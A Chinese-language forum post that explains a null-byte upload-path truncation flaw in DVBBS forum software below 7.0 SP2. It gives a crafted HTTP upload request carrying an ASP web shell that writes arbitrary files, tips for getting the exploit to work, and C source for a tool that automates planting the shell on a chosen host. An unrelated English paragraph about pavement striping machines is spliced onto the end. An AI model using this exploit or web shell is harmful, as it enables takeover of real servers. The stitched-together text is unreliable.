最近一段時間比較忙,沒什么時間為組織做貢獻(實在是沒實力,呵呵).剛好前一段時間聽小豬（豬蛋兒的《目前流行的BBS安全性比較》一文請參閱：http://wvw.ttian.net/forum/viewtopic.php?id=269）說動網論壇出了一個上傳任意文件的漏洞,當時沒怎么明白.但是我看到最近NB論壇上全部都在討論有關這方面的問題,就研究了一下,發現這個漏洞確實存在,而且非常嚴重,用小豬的話說是DVBBS7.0 SP2以下通殺.雖然有些人已經知道了攻擊方法,但是還是存在一些問題.下面我就動網的這個漏洞做一下講解.(不知道會不會被人罵,因為這個漏洞實在太大了).
我們先看一下動網論壇上傳文件的相關代碼:
'===========無組件上傳(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上傳對象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上傳數據,不限大小
iCount=0
if upload.err > 0 then
select case upload.err
case 1
Response.Write "請先選擇你要上傳的文件 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
case 2
Response.Write "圖片大小超過了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目錄后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"
for each formName in upload.file ''列出所有上傳了的文件
set file=upload.file(formName) ''生成一個文件對象
if file.filesize<100 then
response.write "請先選擇你要上傳的圖片 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正確 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數據
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 個文件上傳結束!"
end if
end sub
在上面代碼中可以看到這樣一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
這里,filename是保存的文件名,它是依照上傳時間來命名的,最后擴展名是表單中提交過來的文件的擴展名.但是程序中對提交文件的類型做了限制,顯然想直接上傳ASP文件是不可行的.但是我們來看一下做為后輟的依據從哪里來的呢?我們可以在reg_upload.asp中找到這樣的代碼:
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
這樣,我們知道了,程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交我們的ASP文件也是行不通了,但是,如果是我們自己構造數據包的話就不一樣了.欲望之翼提出的方法就是自已構造數據包來達到欺騙的目的.將提交的file1表單和fname表單項的值改成合法的文件名稱.這樣就可以繞過文件類型的檢測了.
當然,主要的問題不在這里,如果我們只是要上傳那些代碼的話,我們完全可以直接改文件名就好了.我們的目的是要讓我們上傳的文件名改成ASP,這樣我們才可以利用.關鍵就在這一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
這句話將一段字符串合并起來.我們能改的就是formPath這個參數.在計算機中檢測字符串的關鍵就是看是否碰到'\0'字符,如果是,則認為字符串結束了.也就是說我們在構造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似"uploadface\zwell.asp"這樣的路徑參數已經結束了,這樣,后面一連串的時間字符我們都可以不要,從而達到直接將文件保存為我們定義的文件名的目的.因些,我們要做的是在構造的數據包中,將表單中的filepath改成類似uploadface\zwell.asp'\0'的字符串然后發送出去就行了.
我們先來看一下數據包的格式(論壇上好像大家用的是WSockExpert,不過我用的是IRIS,我覺得更專業一點,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=save>"%>
<%Response.write "</form>"%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"
上傳
-----------------------------7d4a325500d2--
上面的數據我是在WIN2003下調試的.按我前面講的,只要改幾個地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一個空字符呢?用UltraEdit是個好方法,用16進制編輯,(因為'\0'這個字符也占一個位置,所以我們先打入一空格,然后再在UltraEdit里將對就空格符的20改成00).
至于,最前面的那一段,直接從抓包工具中提取就是了.而且隨便一個都行.但是最重要的是要注意這一句:
Content-Length: 1593
很多人測試都沒成功,就因為這個值設的不對,其實這個值很好算,是從第一個"-----------------------------7d4a325500d2"開始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起換行作用,占兩個字符.我看論壇上大家論壇時都是說加一個字符值就加一,不是說不對,只是還要這樣數,代碼短倒無所謂,代碼要是很長怎么辦呢?:),這里告訴大家一個簡單的方法:打開記事本,將算長度的代碼復制到記事本,保存,然后看屬性就一目了然了,一個字符都不會錯.只是有一點必須注意,必須將最后的那幾個換行也復制進來.很多人就是因為沒有復制換行才失敗的.
寫了這么多,我們也看到,每一個這樣改太不方便,做了工具是必須的了,呵呵,具體不多說了,部分代碼如下:
#include <winsock2.h>
#include <stdio.h>
#include "Resource.h"
#pragma comment(lib,"ws2_32.lib")
HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //主機地址
char bbspath[50]; //論壇地址
char uppath[20]; //上傳目錄
char upfilename[50]; //上傳文件名
char upfiledata[8000]; //上傳文件內容
int sendsize; //總傳送數據大小
int realsndsize = 0; //傳送頁面文件的大小
char snddata[8000];
char mm[1000]=
"<%dim objFSO%>\r\n"
"<%dim fdata%>\r\n"
"<%dim objCountFile%>\r\n"
"<%on error resume next%>\r\n"
"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
"<%fdata = request(\"cyfddata\")%>\r\n"
"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
"<%objCountFile.Write fdata%>\r\n"
"<%if err =0 then%>\r\n"
"<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
"<%else%>"
"<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
"<%end if%>\r\n"
"<%err.clear%>\r\n"
"<%end if%>"
"<%objCountFile.Close%>\r\n"
"<%Set objCountFile=Nothing%>\r\n"
"<%Set objFSO = Nothing%>"
"<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
"<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
"<%Response.Write \"<br>\"%>\r\n"
"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
"<%Response.write \"<br>\"%>\r\n"
"<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
"<%Response.write \"<input type=submit value=save>\"%>\r\n"
"<%Response.write \"</form>\"%>\r\n";
//獲得控件文本
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}
//設置控件文本
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}
char *itos(int data)
{
char tmp[10];
sprintf(tmp, "%d", data);
return tmp;
}
//上傳線程
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory((void *)&sin, sizeof(sin));
hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));
realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
"Accept-Language: zh-cn\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
"%s\\%s",
bbspath,
host,
realsndsize,
uppath,
upfilename);
sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '\0';
sprintf(snddata,
"\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
"upload\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
"C:\\1.gif\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
"上傳\r\n"
"-----------------------------7d4a325500d2--\r\n\r\n",
upfiledata);
strcat((char *)&sendbuf[sendsize+1], snddata);
sendsize += strlen(snddata);
sendsize += 1;
if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, "連接出錯!", "出錯提示:", MB_OK|MB_IConERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, "發送數據失敗", itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}
void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}
static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, "192.168.10.101");
settext(m_webpath, "/");
settext(m_path, "uploadface");
settext(m_filename, "zwell.asp");
settext(m_upload, mm);
return TRUE;
case WM_COMMAND:
On_Command(wParam);
break;
case WM_SIZE:
break;
case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,"無法初始化 Winsock DLL\t","錯誤",MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}
Striping machines are used to paint lines on a variety of surfaces. They are commonly used on pavement to mark parking lots, roads and airports as well as on grass or dirt for sports fields.
Striping machines basically consist of a small engine, an air compressor, the spray nozzle and a series of valves and hoses including one for paint intake. There is frequently a hose ranging from 25 to 50 feet on average that is attached to a separate spray gun similar to the kind found in
spray painting equipment that is used for stencils or touch ups. Wheels, a handle and a trigger allow the operator to control the direction of the machine and the force of the paint spray. Most striping machines are pushed by the operator because that increases the amount of control and precision the operator has;
self-propelled striping machines or
ride-on striping machines are available for large areas. The frame is made from metal and is typically heavy duty stainless steel to resist harsh solvents and corrosion. Some models of striping machines have dashboards that light up for nighttime use. Centralized controls, filters, hose wraps and other accessories help facilitate high productivity for a fast and clean job.
Striping machines are generally used by companies that specialize in laying asphalt, sealing cracks and other pavement issues rather than businesses that have
paint machines or systems.